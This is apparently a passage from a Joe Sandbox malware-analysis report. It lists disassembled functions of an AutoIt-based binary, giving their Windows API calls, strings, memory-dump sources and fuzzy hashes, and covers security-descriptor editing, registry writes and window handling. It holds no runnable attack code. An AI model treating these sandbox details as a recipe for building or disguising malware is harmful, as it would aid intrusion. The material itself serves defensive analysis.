Instruction Fuzzy Hash: 47B16D71A40209AFDB14DFA9CD49BEE3BB9FB48314F108629FA15A7290DB34A841CB51

Function 00AC0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AC1114
Part of subcall function 00AC10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1120
Part of subcall function 00AC10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC112F
Part of subcall function 00AC10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1136
Part of subcall function 00AC10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AC114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00AC0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00AC0E29
GetLengthSid.ADVAPI32(?), ref: 00AC0E40
GetAce.ADVAPI32(?,00000000,?), ref: 00AC0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00AC0E96
GetLengthSid.ADVAPI32(?), ref: 00AC0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00AC0EB5
HeapAlloc.KERNEL32(00000000), ref: 00AC0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00AC0EDD
CopySid.ADVAPI32(00000000), ref: 00AC0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00AC0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00AC0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00AC0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0F6E
HeapFree.KERNEL32(00000000), ref: 00AC0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0F7E
HeapFree.KERNEL32(00000000), ref: 00AC0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC0F8E
HeapFree.KERNEL32(00000000), ref: 00AC0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC0FA1
HeapFree.KERNEL32(00000000), ref: 00AC0FA8

Part of subcall function 00AC1193: GetProcessHeap.KERNEL32(00000008,00AC0BB1,?,00000000,?,00AC0BB1,?), ref: 00AC11A1
Part of subcall function 00AC1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00AC0BB1,?), ref: 00AC11A8
Part of subcall function 00AC1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00AC0BB1,?), ref: 00AC11B7

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: ff1f5459124b855f6e119e46f3ea90ddffe3fdd746e6ee2e98a5f2fa9d4b0269
Instruction ID: 9ef28b98f4fda62b7509820f0310e91faee1342e16cd25e2b02abf8006b4ca1a
Opcode Fuzzy Hash: ff1f5459124b855f6e119e46f3ea90ddffe3fdd746e6ee2e98a5f2fa9d4b0269
Instruction Fuzzy Hash: 88718C7290021AEBDF20DFE5DD44FAEBBB8BF04350F054219F919E6191DB309A56CBA0

Function 00AEC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00AEC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00AFCC08,00000000,?,00000000,?,?), ref: 00AEC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00AEC5A4
_wcslen.LIBCMT ref: 00AEC5F4
_wcslen.LIBCMT ref: 00AEC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00AEC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00AEC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00AEC84D
RegCloseKey.ADVAPI32(?), ref: 00AEC881
RegCloseKey.ADVAPI32(00000000), ref: 00AEC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00AEC960

Strings

REG_BINARY, xrefs: 00AEC913
REG_EXPAND_SZ, xrefs: 00AEC5CD
REG_DWORD, xrefs: 00AEC804
REG_MULTI_SZ, xrefs: 00AEC6F5
REG_QWORD, xrefs: 00AEC8C3
REG_SZ, xrefs: 00AEC644

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 6c6ce25b61244625bad632506cb5310292d9e937c85a69d63f001499fb8a80a0
Instruction ID: 60e463983e5185c2c14b5b9239864c36741c28df87dc31342865a9e454c248b5
Opcode Fuzzy Hash: 6c6ce25b61244625bad632506cb5310292d9e937c85a69d63f001499fb8a80a0
Instruction Fuzzy Hash: E01279352042419FD714DF15C981A2AB7F5FF88724F14889DF89A9B3A2DB31ED42CB91

Function 00AF091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00AF09C6
_wcslen.LIBCMT ref: 00AF0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00AF0A54
_wcslen.LIBCMT ref: 00AF0A8A
_wcslen.LIBCMT ref: 00AF0B06
_wcslen.LIBCMT ref: 00AF0B81

Part of subcall function 00A7F9F2: _wcslen.LIBCMT ref: 00A7F9FD

Part of subcall function 00AC2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00AC2BFA

Strings

GETITEMCOUNT, xrefs: 00AF0C1E
GETTEXT, xrefs: 00AF0C97
UNCHECK, xrefs: 00AF0D3E
COLLAPSE, xrefs: 00AF0B01, 00AF0B1C
GETSELECTED, xrefs: 00AF0C4E
EXPAND, xrefs: 00AF0BF8
ISCHECKED, xrefs: 00AF0CE1
CHECK, xrefs: 00AF0A85, 00AF0AA0
SELECT, xrefs: 00AF0D11
GETTOTALCOUNT, xrefs: 00AF09F2, 00AF0A17
EXISTS, xrefs: 00AF0B7C, 00AF0B97

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: de52e28cdb109beaf7952fa607f2c27b85a7e893a39efa54a5b70f1c0b2e4cf3
Instruction ID: 3d0add1df1f526f8fa58ca0dccee717750027e6004a64eacd41af5205fbfd2ac
Opcode Fuzzy Hash: de52e28cdb109beaf7952fa607f2c27b85a7e893a39efa54a5b70f1c0b2e4cf3
Instruction Fuzzy Hash: E6E189362083058FC714EF64C550D2AB7F1BF98358B15899DF99A9B3A2DB30ED45CB81

Function 00AEC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00AEB6AE,?,?), ref: 00AEC9B5
_wcslen.LIBCMT ref: 00AEC9F1
_wcslen.LIBCMT ref: 00AECA68
_wcslen.LIBCMT ref: 00AECA9E
_wcslen.LIBCMT ref: 00AECAF9
_wcslen.LIBCMT ref: 00AECB2F
_wcslen.LIBCMT ref: 00AECB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 00AECA62, 00AECA67
HKCR, xrefs: 00AECB29, 00AECB2E
HKCU, xrefs: 00AECBCE
HKEY_CURRENT_CONFIG, xrefs: 00AECB79, 00AECB7E
HKU, xrefs: 00AECBF0
HKEY_USERS, xrefs: 00AECBDF
HKCC, xrefs: 00AECBAC
HKEY_CURRENT_USER, xrefs: 00AECBBD
HKEY_CLASSES_ROOT, xrefs: 00AECAF3, 00AECAF8
HKLM, xrefs: 00AECA98, 00AECA9D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 236202f3557902c72eb7f95d3e9a6925acac857980bea0318456432309eb60fc
Instruction ID: 4f93c83c17481f2ee02e300c8084ee38458ee5bc89f667b32967da058bc95c0e
Opcode Fuzzy Hash: 236202f3557902c72eb7f95d3e9a6925acac857980bea0318456432309eb60fc
Instruction Fuzzy Hash: 1571F9336001AA8BCB20DF7EDD515BF33A6AFA47B4B254524F86997284EA31CD46C390

Function 00AF833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AF835A
_wcslen.LIBCMT ref: 00AF836E
_wcslen.LIBCMT ref: 00AF8391
_wcslen.LIBCMT ref: 00AF83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00AF83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00AF5BF2), ref: 00AF844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00AF8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00AF84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00AF8501
FreeLibrary.KERNEL32(?), ref: 00AF850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00AF851D
DestroyIcon.USER32(?,?,?,?,?,00AF5BF2), ref: 00AF852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00AF8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00AF8555

Strings

.icl, xrefs: 00AF8368
.exe, xrefs: 00AF8388
.dll, xrefs: 00AF83AB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 3d92c2f6a9e9a042d47f7e83abe782abd619d02b5268fe1af12f4ef8f35bca84
Instruction ID: be5dfdb0575db1ec67416701ea4ba26dbf35120df13e4da6b05b073acc837d92
Opcode Fuzzy Hash: 3d92c2f6a9e9a042d47f7e83abe782abd619d02b5268fe1af12f4ef8f35bca84
Instruction Fuzzy Hash: 0461F27154021ABBEB14DFA4CD41BBE77A8FF08B21F104649F916DA1D1DF78A980C7A0

Function 00A67778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 00A677E7
#requireadmin, xrefs: 00A677FF
#comments-start, xrefs: 00A6785F, 00A678B1
", xrefs: 00AA5153
#OnAutoItStartRegister, xrefs: 00A67817
', xrefs: 00AA5169
Unterminated group of comments, xrefs: 00AA528C
#comments-end, xrefs: 00A678D9
#ce, xrefs: 00A678ED
#include, xrefs: 00A67847
Cannot parse #include, xrefs: 00AA5279
#include-once, xrefs: 00A6782F
#cs, xrefs: 00A67873, 00A678C5
Bad directive syntax error, xrefs: 00AA519A
#pragma compile, xrefs: 00A677D3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 3a082ae0866e77497a03e82c99b48d9fcff8e2169f2113f4ff0932335b8cdbb0
Instruction ID: acbc2f52ded5890ab7c710c9b8da1dd7cad28ec1c0b7bfdc44a3444714c7c204
Opcode Fuzzy Hash: 3a082ae0866e77497a03e82c99b48d9fcff8e2169f2113f4ff0932335b8cdbb0
Instruction Fuzzy Hash: FE81CC71A14209BBDB21BF60CE42FBE37B8BF15304F144424F909AB196EB74DA41CBA5

Function 00AC5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00AC5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00AC5A40
SetWindowTextW.USER32(?,?), ref: 00AC5A57
GetDlgItem.USER32(?,000003EA), ref: 00AC5A6C
SetWindowTextW.USER32(00000000,?), ref: 00AC5A72
GetDlgItem.USER32(?,000003E9), ref: 00AC5A82
SetWindowTextW.USER32(00000000,?), ref: 00AC5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00AC5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00AC5AC3
GetWindowRect.USER32(?,?), ref: 00AC5ACC
_wcslen.LIBCMT ref: 00AC5B33
SetWindowTextW.USER32(?,?), ref: 00AC5B6F
GetDesktopWindow.USER32 ref: 00AC5B75
GetWindowRect.USER32(00000000), ref: 00AC5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00AC5BD3
GetClientRect.USER32(?,?), ref: 00AC5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00AC5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00AC5C2F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 47c1823d111b513ae914a862aba6f80f039ddd6e0dfd1735d9291997b0239fe5
Instruction ID: 7c28f93a6709e48bb6808e5124730e76156a03fcb372ab74eb4a364351cfa33d
Opcode Fuzzy Hash: 47c1823d111b513ae914a862aba6f80f039ddd6e0dfd1735d9291997b0239fe5
Instruction Fuzzy Hash: 6E713731900A09AFDB20DFA9CE89FAEBBF5EB48714F11491CE142A25A0D775B984CB50

Function 00A800C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00A800C6

Part of subcall function 00A800ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00B3070C,00000FA0,D1C481B2,?,?,?,?,00AA23B3,000000FF), ref: 00A8011C
Part of subcall function 00A800ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00AA23B3,000000FF), ref: 00A80127
Part of subcall function 00A800ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00AA23B3,000000FF), ref: 00A80138
Part of subcall function 00A800ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00A8014E
Part of subcall function 00A800ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00A8015C
Part of subcall function 00A800ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00A8016A
Part of subcall function 00A800ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A80195
Part of subcall function 00A800ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A801A0

___scrt_fastfail.LIBCMT ref: 00A800E7

Part of subcall function 00A800A3: __onexit.LIBCMT ref: 00A800A9

Strings

WakeAllConditionVariable, xrefs: 00A80162
SleepConditionVariableCS, xrefs: 00A80154
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00A80122
kernel32.dll, xrefs: 00A80133
InitializeConditionVariable, xrefs: 00A80148

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 3b01c49f284ac05edc54c558490aef7408177b87a4645ab9e22658ec7dc4d049
Instruction ID: ce2ea3bf4c697cee56a836e06a7520b52ddc904ac5feeb96e3b9d8b44cd7227d
Opcode Fuzzy Hash: 3b01c49f284ac05edc54c558490aef7408177b87a4645ab9e22658ec7dc4d049
Instruction Fuzzy Hash: 3621F232640705AFE760BBE4AD0AF3E36A8EF05BB0F104629F901A3291DB749C048B94

Function 00AC30F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AC318D
_wcslen.LIBCMT ref: 00AC31F8

Strings

CLASSNN, xrefs: 00AC31F3, 00AC3204
INSTANCE, xrefs: 00AC3453
CLASS, xrefs: 00AC3188, 00AC31A5
TEXT, xrefs: 00AC347C
REGEXPCLASS, xrefs: 00AC3255, 00AC3266
NAME, xrefs: 00AC3335, 00AC3346

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: a55c3a365a8ae706cc85d75196a9cb22dcb3da0744c3a69b1c531c9e9522ef32
Instruction ID: 0f0e87985379fa69f99d3e620035958677e25679efd9634e968a126be22d7fb1
Opcode Fuzzy Hash: a55c3a365a8ae706cc85d75196a9cb22dcb3da0744c3a69b1c531c9e9522ef32
Instruction Fuzzy Hash: 99E1A333A00526AFCF289FA8C951FEDBBB4BF54710F56C15DE456A7240DB30AE858790

Function 00AD44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00AFCC08), ref: 00AD4527
_wcslen.LIBCMT ref: 00AD453B
_wcslen.LIBCMT ref: 00AD4599
_wcslen.LIBCMT ref: 00AD45F4
_wcslen.LIBCMT ref: 00AD463F
_wcslen.LIBCMT ref: 00AD46A7

Part of subcall function 00A7F9F2: _wcslen.LIBCMT ref: 00A7F9FD

GetDriveTypeW.KERNEL32(?,00B26BF0,00000061), ref: 00AD4743

Strings

ramdisk, xrefs: 00AD46F1
network, xrefs: 00AD469D, 00AD46A2
cdrom, xrefs: 00AD458F, 00AD4594
unknown, xrefs: 00AD4708
fixed, xrefs: 00AD4635, 00AD463A
all, xrefs: 00AD4531, 00AD4536
removable, xrefs: 00AD45EA, 00AD45EF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: a4d0546674a4485e21ba6ccc6d624029246ce2ea61f2a5a55f2e22c0a703fbd8
Instruction ID: 4e0c46495f50cf1b551e31a89505e89fd2593437d523f0d371c435fdeb0e9d2d
Opcode Fuzzy Hash: a4d0546674a4485e21ba6ccc6d624029246ce2ea61f2a5a55f2e22c0a703fbd8
Instruction Fuzzy Hash: 7BB1CA316083029FC720DF28D991A6AB7F5AFA9760F50491EF49BC7391E730D845CBA2

Function 00A6326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00B31990), ref: 00AA2F8D
GetMenuItemCount.USER32(00B31990), ref: 00AA303D
GetCursorPos.USER32(?), ref: 00AA3081
SetForegroundWindow.USER32(00000000), ref: 00AA308A
TrackPopupMenuEx.USER32(00B31990,00000000,?,00000000,00000000,00000000), ref: 00AA309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00AA30A9

Strings

0, xrefs: 00A6327D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: c8e71773de6075216df33841769b2f57463ba235d488827fdc9b93c15de1450c
Instruction ID: f8fb530d6912c88ff5b728d47ed14dd33c9f4daab37cec048e2bec59aac16382
Opcode Fuzzy Hash: c8e71773de6075216df33841769b2f57463ba235d488827fdc9b93c15de1450c
Instruction Fuzzy Hash: F4710471644209BEEF258F69CD49FAABF74FF05324F204206F525AB1E0C7B1A964DB90

Function 00AF6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00AF6DEB

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00AF6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00AF6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00AF6E94
DestroyWindow.USER32(?), ref: 00AF6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00A60000,00000000), ref: 00AF6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00AF6EFD
GetDesktopWindow.USER32 ref: 00AF6F16
GetWindowRect.USER32(00000000), ref: 00AF6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00AF6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00AF6F4D

Part of subcall function 00A79944: GetWindowLongW.USER32(?,000000EB), ref: 00A79952

Strings

tooltips_class32, xrefs: 00AF6E58, 00AF6EDD
0, xrefs: 00AF6D98

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
